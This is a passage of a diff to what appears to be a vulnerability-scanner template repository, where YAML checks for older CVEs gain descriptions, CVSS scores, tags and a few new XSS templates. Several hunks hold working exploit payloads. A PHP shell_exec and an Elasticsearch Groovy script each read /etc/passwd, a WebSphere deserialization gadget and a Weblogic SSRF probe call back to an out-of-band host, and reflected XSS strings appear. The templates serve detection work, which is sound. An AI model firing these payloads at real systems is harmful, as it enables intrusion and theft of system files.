        Content-Type: application/x-www-form-urlencoded
-        Content-Length: 31

        <?php echo shell_exec("cat /etc/passwd"); ?>

--- a/cves/2012/CVE-2012-4242.yaml
+++ b/cves/2012/CVE-2012-4242.yaml
@ -6,6 +6,7 @@ info:
  severity: medium
  reference: https://nvd.nist.gov/vuln/detail/CVE-2012-4242
  tags: cve,cve2012,wordpress,xss,wp-plugin
+  description: "Cross-site scripting (XSS) vulnerability in the MF Gig Calendar plugin 0.9.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the query string to the calendar page."

 requests:
  - method: GET
--- a/cves/2013/CVE-2013-2251.yaml
+++ b/cves/2013/CVE-2013-2251.yaml
@ -4,7 +4,7 @@ info:
  name: Apache Struts 2 - DefaultActionMapper Prefixes OGNL Code Execution
  author: exploitation,dwisiswant0,alex
  severity: critical
-  description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:" or "redirectAction:" is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code.
+  description: In Struts 2 before 2.3.15.1 the information following "action:", "redirect:", or "redirectAction:" is not properly sanitized. Since said information will be evaluated as an OGNL expression against the value stack, this introduces the possibility to inject server side code.
  reference: http://struts.apache.org/release/2.3.x/docs/s2-016.html
  tags: cve,cve2013,rce,struts,apache

--- a/cves/2013/CVE-2013-2287.yaml
+++ b/cves/2013/CVE-2013-2287.yaml
@ -6,6 +6,7 @@ info:
  severity: medium
  reference: https://nvd.nist.gov/vuln/detail/CVE-2013-2287
  tags: cve,cve2013,wordpress,xss,wp-plugin
+  description: "Multiple cross-site scripting (XSS) vulnerabilities in views/notify.php in the Uploader plugin 1.0.4 for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) notify or (2) blog parameter."

 requests:
  - method: GET
--- a/cves/2013/CVE-2013-3526.yaml
+++ b/cves/2013/CVE-2013-3526.yaml
@ -6,6 +6,7 @@ info:
  severity: medium
  reference: https://nvd.nist.gov/vuln/detail/CVE-2013-3526
  tags: cve,cve2013,wordpress,xss,wp-plugin
+  description: "Cross-site scripting (XSS) vulnerability in js/ta_loaded.js.php in the Traffic Analyzer plugin, possibly 3.3.2 and earlier, for WordPress allows remote attackers to inject arbitrary web script or HTML via the aoid parameter."

 requests:
  - method: GET
--- a/cves/2014/CVE-2014-2323.yaml
+++ b/cves/2014/CVE-2014-2323.yaml
@ -7,6 +7,11 @@ info:
  author: geeknik
  severity: critical
  tags: cve,cve2014,sqli,lighttpd
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.80
+    cve-id: CVE-2014-2323
+    cwe-id: CWE-89

 requests:
  - raw:
--- a/cves/2014/CVE-2014-3120.yaml
+++ b/cves/2014/CVE-2014-3120.yaml
@ -18,10 +18,7 @@ requests:
        Host: {{Hostname}}
        Accept: */*
        Accept-Language: en
-        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
-        Connection: close
        Content-Type: application/x-www-form-urlencoded
-        Content-Length: 343

        {
            "size": 1,
--- a/cves/2014/CVE-2014-3744.yaml
+++ b/cves/2014/CVE-2014-3744.yaml
@ -9,6 +9,11 @@ info:
    - https://snyk.io/vuln/npm:st:20140206
  severity: high
  tags: cve,cve2014,lfi,nodejs,st
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.50
+    cve-id: CVE-2014-3744
+    cwe-id: CWE-22

 requests:
  - method: GET
--- a/cves/2014/CVE-2014-4210.yaml
+++ b/cves/2014/CVE-2014-4210.yaml
@ -4,15 +4,16 @@ info:
  name: Weblogic SSRF in SearchPublicRegistries.jsp
  author: princechaddha
  severity: medium
-  tags: cve,cve2014,weblogic,oracle,ssrf
+  tags: cve,cve2014,weblogic,oracle,ssrf,oob
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4210
    - https://blog.gdssecurity.com/labs/2015/3/30/weblogic-ssrf-and-xss-cve-2014-4241-cve-2014-4210-cve-2014-4.html
+  description: "Unspecified vulnerability in the Oracle WebLogic Server component in Oracle Fusion Middleware 10.0.2.0 and 10.3.6.0 allows remote attackers to affect confidentiality via vectors related to WLS - Web Services."

 requests:
  - method: GET
    path:
-      - "{{BaseURL}}/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.1.1.1:700"
+      - "{{BaseURL}}/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://{{interactsh-url}}"

    matchers-condition: and
    matchers:
@ -21,9 +22,6 @@ requests:
          - 200

      - type: word
+        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
-          - "Connection refused"
-          - "Socket Closed"
-          - "content-type: unknown/unknown"
-        part: body
-        condition: or
+          - "http"
--- a/cves/2014/CVE-2014-4535.yaml
+++ b/cves/2014/CVE-2014-4535.yaml
@ -8,6 +8,12 @@ info:
    - https://wpscan.com/vulnerability/7fb78d3c-f784-4630-ad92-d33e5de814fd
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4535
  tags: cve,cve2014,wordpress,wp-plugin,xss
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2014-4535
+    cwe-id: CWE-79
+  description: "Cross-site scripting (XSS) vulnerability in the Import Legacy Media plugin 0.1 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the filename parameter to getid3/demos/demo.mimeonly.php."

 requests:
  - method: GET
--- a/cves/2014/CVE-2014-4536.yaml
+++ b/cves/2014/CVE-2014-4536.yaml
@ -8,6 +8,12 @@ info:
    - https://wpscan.com/vulnerability/f048b5cc-5379-4c19-9a43-cd8c49c8129f
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4536
  tags: cve,cve2014,wordpress,wp-plugin,xss
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2014-4536
+    cwe-id: CWE-79
+  description: "Multiple cross-site scripting (XSS) vulnerabilities in tests/notAuto_test_ContactService_pauseCampaign.php in the Infusionsoft Gravity Forms plugin before 1.5.6 for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) go, (2) contactId, or (3) campaignId parameter."

 requests:
  - method: GET
--- a/cves/2014/CVE-2014-6271.yaml
+++ b/cves/2014/CVE-2014-6271.yaml
@ -3,13 +3,18 @@ id: CVE-2014-6271
 info:
  name: Shellshock
  author: pentest_swissky
-  severity: high
+  severity: critical
  description: Attempts to exploit the "shellshock" vulnerability (CVE-2014-6271 and CVE-2014-7169) in web applications
  reference:
    - http://www.kb.cert.org/vuls/id/252743
    - http://www.us-cert.gov/ncas/alerts/TA14-268A
  tags: cve,cve2014,rce

+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.80
+    cve-id: CVE-2014-6271
+    cwe-id: CWE-78
 requests:
  - method: GET
    path:
--- a/cves/2014/CVE-2014-6308.yaml
+++ b/cves/2014/CVE-2014-6308.yaml
@ -6,6 +6,7 @@ info:
  severity: high
  reference: https://packetstormsecurity.com/files/128285/OsClass-3.4.1-Local-File-Inclusion.html
  tags: cve,cve2014,lfi
+  description: "Directory traversal vulnerability in OSClass before 3.4.2 allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter in a render action to oc-admin/index.php."

 requests:
  - method: GET
--- a/cves/2014/CVE-2014-9094.yaml
+++ b/cves/2014/CVE-2014-9094.yaml
@ -6,6 +6,7 @@ info:
  severity: medium
  reference: https://nvd.nist.gov/vuln/detail/CVE-2014-9094
  tags: cve,2014,wordpress,xss,wp-plugin
+  description: "Multiple cross-site scripting (XSS) vulnerabilities in deploy/designer/preview.php in the Digital Zoom Studio (DZS) Video Gallery plugin for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) swfloc or (2) designrand parameter."

 requests:
  - method: GET
--- a/cves/2014/CVE-2014-9444.yaml
+++ b/cves/2014/CVE-2014-9444.yaml
@ -0,0 +1,32 @@
+id: CVE-2014-9444
+
+info:
+  name: Frontend Uploader <= 0.9.2 - Unauthenticated Cross-Site Scripting (XSS)
+  author: daffainfo
+  severity: medium
+  description: The Frontend Uploader WordPress plugin was affected by an Unauthenticated Cross-Site Scripting (XSS) security vulnerability.
+  reference:
+    - https://wpscan.com/vulnerability/f0739b1e-22dc-4ca6-ad83-a0e80228e3c7
+    - https://nvd.nist.gov/vuln/detail/CVE-2014-9444
+  tags: cve,cve2014,wordpress,wp-plugin,xss
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/?page_id=0&&errors[fu-disallowed-mime-type][0][name]=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '</script><script>alert(document.domain)</script>'
+        part: body
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200
--- a/cves/2015/CVE-2015-1000012.yaml
+++ b/cves/2015/CVE-2015-1000012.yaml
@ -8,6 +8,12 @@ info:
    - https://wpscan.com/vulnerability/24b83ce5-e3b8-4262-b087-a2dfec014985
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1000012
  tags: cve,cve2015,wordpress,wp-plugin,lfi
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.50
+    cve-id: CVE-2015-1000012
+    cwe-id: CWE-200
+  description: "Local File Inclusion Vulnerability in mypixs v0.3 wordpress plugin"

 requests:
  - method: GET
--- a/cves/2015/CVE-2015-1427.yaml
+++ b/cves/2015/CVE-2015-1427.yaml
@ -17,10 +17,7 @@ requests:
        Host: {{Hostname}}
        Accept: */*
        Accept-Language: en
-        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
-        Connection: close
        Content-Type: application/x-www-form-urlencoded
-        Content-Length: 343

        {
          "name": "test"
@ -29,11 +26,7 @@ requests:
        POST /_search HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
-        Accept-Language: en
-        User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
-        Connection: close
        Content-Type: application/x-www-form-urlencoded
-        Content-Length: 343

        {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getText()"}}}

--- a/cves/2015/CVE-2015-2080.yaml
+++ b/cves/2015/CVE-2015-2080.yaml
@ -3,7 +3,7 @@ id: CVE-2015-2080
 info:
  name: Eclipse Jetty Remote Leakage
  author: pikpikcu
-  severity: medium
+  severity: high
  reference:
    - https://github.com/eclipse/jetty.project/blob/jetty-9.2.x/advisories/2015-02-24-httpparser-error-buffer-bleed.md
    - https://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html
@ -11,6 +11,11 @@ info:
  description: |
    The exception handling code in Eclipse Jetty before 9.2.9.v20150224 allows remote attackers to obtain sensitive information from process memory via illegal characters in an HTTP header, aka JetLeak
  tags: cve,cve2015,jetty
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.50
+    cve-id: CVE-2015-2080
+    cwe-id: CWE-200

 requests:
  - method: POST
--- a/cves/2015/CVE-2015-2807.yaml
+++ b/cves/2015/CVE-2015-2807.yaml
@ -8,6 +8,7 @@ info:
    - https://advisories.dxw.com/advisories/publicly-exploitable-xss-in-wordpress-plugin-navis-documentcloud/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-2807
  tags: cve,cve2015,wordpress,wp-plugin,xss
+  description: "Cross-site scripting (XSS) vulnerability in js/window.php in the Navis DocumentCloud plugin before 0.1.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the wpbase parameter."

 requests:
  - method: GET
--- a/cves/2015/CVE-2015-6544.yaml
+++ b/cves/2015/CVE-2015-6544.yaml
@ -8,6 +8,11 @@ info:
    Cross-site scripting (XSS) vulnerability in application/dashboard.class.inc.php in Combodo iTop before 2.2.0-2459 allows remote attackers to inject arbitrary web script or HTML via a dashboard title.
  reference: https://nvd.nist.gov/vuln/detail/CVE-2015-6544
  tags: cve,cve2015,xss,itop
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2015-6544
+    cwe-id: CWE-79

 requests:
  - method: GET
--- a/cves/2015/CVE-2015-7450.yaml
+++ b/cves/2015/CVE-2015-7450.yaml
@ -9,7 +9,12 @@ info:
    - https://github.com/Coalfire-Research/java-deserialization-exploits/blob/main/WebSphere/websphere_rce.py
    - https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-7450
-  tags: cve,cve2015,websphere,deserialization,rce
+  tags: cve,cve2015,websphere,deserialization,rce,oob
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.80
+    cve-id: CVE-2015-7450
+    cwe-id: CWE-94

 requests:
  - raw:
@ -27,7 +32,7 @@ requests:
        <ns1:invoke xmlns:ns1="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <objectname xsi:type="ns1:javax.management.ObjectName">rO0ABXNyABtqYXZheC5tYW5hZ2VtZW50Lk9iamVjdE5hbWUPA6cb620VzwMAAHhwdACxV2ViU3BoZXJlOm5hbWU9Q29uZmlnU2VydmljZSxwcm9jZXNzPXNlcnZlcjEscGxhdGZvcm09cHJveHksbm9kZT1MYXAzOTAxM05vZGUwMSx2ZXJzaW9uPTguNS41LjcsdHlwZT1Db25maWdTZXJ2aWNlLG1iZWFuSWRlbnRpZmllcj1Db25maWdTZXJ2aWNlLGNlbGw9TGFwMzkwMTNOb2RlMDFDZWxsLHNwZWM9MS4weA==</objectname>
        <operationname xsi:type="xsd:string">getUnsavedChanges</operationname>
-        <params xsi:type="ns1:[Ljava.lang.Object;">{{ generate_java_gadget("dns", "{{interactsh-url}}", "base64")}}</params>
+        <params xsi:type="ns1:[Ljava.lang.Object;">{{ generate_java_gadget("dns", "{{interactsh-url}}", "base64-raw")}}</params>
        <signature xsi:type="ns1:[Ljava.lang.String;">rO0ABXVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ACRjb20uaWJtLndlYnNwaGVyZS5tYW5hZ2VtZW50LlNlc3Npb24=</signature>
        </ns1:invoke>
        </SOAP-ENV:Body>
--- a/cves/2015/CVE-2015-8349.yaml
+++ b/cves/2015/CVE-2015-8349.yaml
@ -7,6 +7,11 @@ info:
  description: Cross-site scripting (XSS) vulnerability in SourceBans before 2.0 pre-alpha allows remote attackers to inject arbitrary web script or HTML via the advSearch parameter to index.php.
  reference: https://nvd.nist.gov/vuln/detail/CVE-2015-8349
  tags: cve,cve2015,xss,sourcebans
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2015-8349
+    cwe-id: CWE-79

 requests:
  - method: GET
--- a/cves/2015/CVE-2015-8399.yaml
+++ b/cves/2015/CVE-2015-8399.yaml
@ -6,6 +6,11 @@ info:
  description: Atlassian Confluence before 5.8.17 allows remote authenticated users to read configuration files via the decoratorName parameter to (1) spaces/viewdefaultdecorator.action or (2) admin/viewdefaultdecorator.action.
  reference: https://jira.atlassian.com/browse/CONFSERVER-39704?src=confmacro
  tags: cve,cve2015,atlassian,confluence
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
+    cvss-score: 4.30
+    cve-id: CVE-2015-8399
+    cwe-id: CWE-200

 requests:
  - method: GET
--- a/cves/2015/CVE-2015-8813.yaml
+++ b/cves/2015/CVE-2015-8813.yaml
@ -9,6 +9,11 @@ info:
    - https://blog.securelayer7.net/umbraco-the-open-source-asp-net-cms-multiple-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2015-8813
  tags: cve,cve2015,ssrf,oob
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N
+    cvss-score: 8.20
+    cve-id: CVE-2015-8813
+    cwe-id: CWE-918

 requests:
  - method: GET
--- a/cves/2015/CVE-2015-9414.yaml
+++ b/cves/2015/CVE-2015-9414.yaml
@ -8,6 +8,12 @@ info:
    - https://wpscan.com/vulnerability/2ac2d43f-bf3f-4831-9585-5c5484051095
    - https://nvd.nist.gov/vuln/detail/CVE-2015-9414
  tags: cve,cve2015,wordpress,wp-plugin,xss
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2015-9414
+    cwe-id: CWE-79
+  description: "The wp-symposium plugin through 15.8.1 for WordPress has XSS via the wp-content/plugins/wp-symposium/get_album_item.php?size parameter."

 requests:
  - method: GET
--- a/cves/2015/CVE-2015-9480.yaml
+++ b/cves/2015/CVE-2015-9480.yaml
@ -8,6 +8,12 @@ info:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-9480
    - https://www.exploit-db.com/exploits/37252
  tags: cve,cve2015,wordpress,wp-plugin,lfi
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.50
+    cve-id: CVE-2015-9480
+    cwe-id: CWE-22
+  description: "The RobotCPA plugin 5 for WordPress has directory traversal via the f.php l parameter."

 requests:
  - method: GET
--- a/cves/2016/CVE-2016-0957.yaml
+++ b/cves/2016/CVE-2016-0957.yaml
@ -7,6 +7,10 @@ info:
  reference: https://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html
  severity: high
  tags: cve,cve2016,adobe,aem
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.50
+    cve-id: CVE-2016-0957

 requests:
  - method: GET
--- a/cves/2016/CVE-2016-1000126.yaml
+++ b/cves/2016/CVE-2016-1000126.yaml
@ -6,6 +6,12 @@ info:
  severity: medium
  reference: https://nvd.nist.gov/vuln/detail/CVE-2016-1000126
  tags: cve,cve2016,wordpress,xss,wp-plugin
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2016-1000126
+    cwe-id: CWE-79
+  description: "Reflected XSS in wordpress plugin admin-font-editor v1.8"

 requests:
  - method: GET
--- a/cves/2016/CVE-2016-1000127.yaml
+++ b/cves/2016/CVE-2016-1000127.yaml
@ -7,6 +7,11 @@ info:
  description: Reflected XSS in wordpress plugin ajax-random-post v2.00
  reference: https://nvd.nist.gov/vuln/detail/CVE-2016-1000127
  tags: cve,cve2016,wordpress,xss,wp-plugin
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2016-1000127
+    cwe-id: CWE-79

 requests:
  - method: GET
--- a/cves/2016/CVE-2016-1000128.yaml
+++ b/cves/2016/CVE-2016-1000128.yaml
@ -9,6 +9,11 @@ info:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=161
    - https://wordpress.org/plugins/anti-plagiarism
  tags: cve,cve2016,wordpress,xss,wp-plugin
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2016-1000128
+    cwe-id: CWE-79

 requests:
  - method: GET
--- a/cves/2016/CVE-2016-1000129.yaml
+++ b/cves/2016/CVE-2016-1000129.yaml
@ -7,6 +7,11 @@ info:
  description: Reflected XSS in wordpress plugin defa-online-image-protector v3.3
  reference: https://nvd.nist.gov/vuln/detail/CVE-2016-1000129
  tags: cve,cve2016,wordpress,xss,wp-plugin
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2016-1000129
+    cwe-id: CWE-79

 requests:
  - method: GET
--- a/cves/2016/CVE-2016-1000130.yaml
+++ b/cves/2016/CVE-2016-1000130.yaml
@ -7,6 +7,11 @@ info:
  description: Reflected XSS in wordpress plugin e-search v1.0
  reference: https://nvd.nist.gov/vuln/detail/CVE-2016-1000130
  tags: cve,cve2016,wordpress,xss,wp-plugin
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2016-1000130
+    cwe-id: CWE-79

 requests:
  - method: GET
--- a/cves/2016/CVE-2016-1000131.yaml
+++ b/cves/2016/CVE-2016-1000131.yaml
@ -6,6 +6,12 @@ info:
  severity: medium
  reference: https://nvd.nist.gov/vuln/detail/CVE-2016-1000131
  tags: cve,cve2016,wordpress,xss,wp-plugin
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2016-1000131
+    cwe-id: CWE-79
+  description: "Reflected XSS in wordpress plugin e-search v1.0"

 requests:
  - method: GET
--- a/cves/2016/CVE-2016-1000132.yaml
+++ b/cves/2016/CVE-2016-1000132.yaml
@ -7,6 +7,11 @@ info:
  description: Reflected XSS in wordpress plugin enhanced-tooltipglossary v3.2.8
  reference: https://nvd.nist.gov/vuln/detail/CVE-2016-1000132
  tags: cve,cve2016,wordpress,xss,wp-plugin
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2016-1000132
+    cwe-id: CWE-79

 requests:
  - method: GET
--- a/cves/2016/CVE-2016-1000133.yaml
+++ b/cves/2016/CVE-2016-1000133.yaml
@ -7,6 +7,11 @@ info:
  description: Reflected XSS in wordpress plugin forget-about-shortcode-buttons v1.1.1
  reference: https://nvd.nist.gov/vuln/detail/CVE-2016-1000133
  tags: cve,cve2016,wordpress,xss,wp-plugin
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2016-1000133
+    cwe-id: CWE-79

 requests:
  - method: GET
--- a/cves/2016/CVE-2016-1000134.yaml
+++ b/cves/2016/CVE-2016-1000134.yaml
@ -7,6 +7,11 @@ info:
  description: Reflected XSS in wordpress plugin hdw-tube v1.2
  reference: https://nvd.nist.gov/vuln/detail/CVE-2016-1000134
  tags: cve,cve2016,wordpress,xss,wp-plugin
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2016-1000134
+    cwe-id: CWE-79

 requests:
  - method: GET
--- a/cves/2016/CVE-2016-1000135.yaml
+++ b/cves/2016/CVE-2016-1000135.yaml
@ -7,6 +7,11 @@ info:
  description: Reflected XSS in wordpress plugin hdw-tube v1.2
  reference: https://nvd.nist.gov/vuln/detail/CVE-2016-1000135
  tags: cve,cve2016,wordpress,xss,wp-plugin
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2016-1000135
+    cwe-id: CWE-79

 requests:
  - method: GET
--- a/cves/2016/CVE-2016-1000137.yaml
+++ b/cves/2016/CVE-2016-1000137.yaml
@ -6,6 +6,12 @@ info:
  severity: medium
  reference: http://www.vapidlabs.com/wp/wp_advisory.php?v=658
  tags: cve,cve2016,wordpress,xss,wp-plugin
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2016-1000137
+    cwe-id: CWE-79
+  description: "Reflected XSS in wordpress plugin hero-maps-pro v2.1.0"

 requests:
  - method: GET
--- a/cves/2016/CVE-2016-1000138.yaml
+++ b/cves/2016/CVE-2016-1000138.yaml
@ -6,6 +6,12 @@ info:
  severity: medium
  reference: http://www.vapidlabs.com/wp/wp_advisory.php?v=38
  tags: cve,cve2016,wordpress,xss,wp-plugin
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2016-1000138
+    cwe-id: CWE-79
+  description: "Reflected XSS in wordpress plugin indexisto v1.0.5"

 requests:
  - method: GET
--- a/cves/2016/CVE-2016-1000139.yaml
+++ b/cves/2016/CVE-2016-1000139.yaml
@ -8,6 +8,12 @@ info:
    - https://wpscan.com/vulnerability/0a60039b-a08a-4f51-a540-59f397dceb6a
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000139
  tags: cve,cve2016,wordpress,wp-plugin,xss
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2016-1000139
+    cwe-id: CWE-79
+  description: "Reflected XSS in wordpress plugin infusionsoft v1.5.11"

 requests:
  - method: GET
--- a/cves/2016/CVE-2016-1000140.yaml
+++ b/cves/2016/CVE-2016-1000140.yaml
@ -6,6 +6,12 @@ info:
  severity: medium
  reference: https://nvd.nist.gov/vuln/detail/CVE-2016-1000140
  tags: cve,cve2016,wordpress,xss,wp-plugin
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2016-1000140
+    cwe-id: CWE-79
+  description: "Reflected XSS in wordpress plugin new-year-firework v1.1.9"

 requests:
  - method: GET
--- a/cves/2016/CVE-2016-1000141.yaml
+++ b/cves/2016/CVE-2016-1000141.yaml
@ -0,0 +1,35 @@
+id: CVE-2016-1000141
+
+info:
+  name: Page Layout builder v1.9.3 - Reflected Cross-Site Scripting (XSS)
+  author: daffainfo
+  severity: medium
+  description: Reflected XSS in wordpress plugin page-layout-builder v1.9.3
+  reference: https://nvd.nist.gov/vuln/detail/CVE-2016-1000141
+  tags: cve,cve2016,wordpress,xss,wp-plugin
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2016-1000141
+    cwe-id: CWE-79
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-content/plugins/page-layout-builder/includes/layout-settings.php?layout_settings_id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "</script><script>alert(document.domain)</script>"
+        part: body
+
+      - type: word
+        part: header
+        words:
+          - text/html
+
+      - type: status
+        status:
+          - 200
--- a/cves/2016/CVE-2016-1000146.yaml
+++ b/cves/2016/CVE-2016-1000146.yaml
@ -6,6 +6,12 @@ info:
  severity: medium
  reference: https://nvd.nist.gov/vuln/detail/CVE-2016-1000146
  tags: cve,cve2016,wordpress,xss,wp-plugin
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2016-1000146
+    cwe-id: CWE-79
+  description: "Reflected XSS in wordpress plugin pondol-formmail v1.1"

 requests:
  - method: GET
--- a/cves/2016/CVE-2016-1000148.yaml
+++ b/cves/2016/CVE-2016-1000148.yaml
@ -8,6 +8,12 @@ info:
    - https://wpscan.com/vulnerability/ead796ed-202a-451f-b041-d39c9cf1fb54
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000148
  tags: cve,cve2016,wordpress,wp-plugin,xss
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2016-1000148
+    cwe-id: CWE-79
+  description: "Reflected XSS in wordpress plugin s3-video v0.983"

 requests:
  - method: GET
--- a/cves/2016/CVE-2016-1000149.yaml
+++ b/cves/2016/CVE-2016-1000149.yaml
@ -6,6 +6,12 @@ info:
  severity: medium
  reference: https://nvd.nist.gov/vuln/detail/CVE-2016-1000149
  tags: cve,cve2016,wordpress,xss,wp-plugin
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2016-1000149
+    cwe-id: CWE-79
+  description: "Reflected XSS in wordpress plugin simpel-reserveren v3.5.2"

 requests:
  - method: GET
